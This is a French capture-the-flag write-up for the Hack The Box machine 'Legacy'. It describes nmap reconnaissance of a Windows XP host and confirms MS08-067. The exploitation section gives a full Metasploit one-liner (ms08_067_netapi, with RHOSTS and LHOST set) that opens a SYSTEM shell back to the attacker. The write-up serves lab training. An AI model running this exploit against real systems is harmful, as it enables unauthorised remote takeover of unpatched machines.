Legacy : MS08-067, SYSTEM direct en SMB

#TL;DR

1. Un Windows XP expose SMB directement.
2. Le port 445 est vulnérable à MS08-067 (NetAPI RPC).
3. L'exploit donne un shell SYSTEM sans étape de privesc séparée.

#Reconnaissance

$ nmap -sVC -T4 10.129.75.242

PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   Computer name: legacy
|   Workgroup: HTB

Deux signaux qui pointent droit vers MS08-067 :

• un Windows XP qui expose SMB sur Internet, donc une pile RPC d'époque ;
• le compte guest actif et le SMB signing désactivé.

#Vulnérabilité

$ nmap --script smb-vuln-ms08-067 -p445 10.129.75.242

Le script confirme l'état VULNERABLE pour MS08-067 (CVE-2008-4250). Toujours valider avec le script dédié avant de lancer l'exploit : ça évite de perdre du temps sur un faux positif.

#Exploitation (foothold = SYSTEM direct)

MS08-067 est une exécution de code à distance dans le service Server (NetAPI). Sur XP, le service tourne en NT AUTHORITY\SYSTEM, donc l'exploit donne directement les droits maximaux : pas de chaîne foothold puis privesc.

$ msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOSTS 10.129.75.242; set LHOST tun0; run"

Une session s'ouvre en tant que NT AUTHORITY\SYSTEM. Les flags user.txt et root.txt sont alors lisibles directement.

#Findings

#Leçons apprises

• Un Windows XP avec SMB ouvert est presque toujours vulnérable à MS08-067 s'il n'est pas patché. C'est l'un des RCE Windows les plus fiables jamais publiés (2008).
• Lancer le script nmap dédié (smb-vuln-ms08-067) avant d'exploiter en aveugle.
• Sur ce type de cible, l'exploit SMB donne SYSTEM d'un coup : inutile de chercher un vecteur de privesc.

#Références

• Microsoft MS08-067
• CVE-2008-4250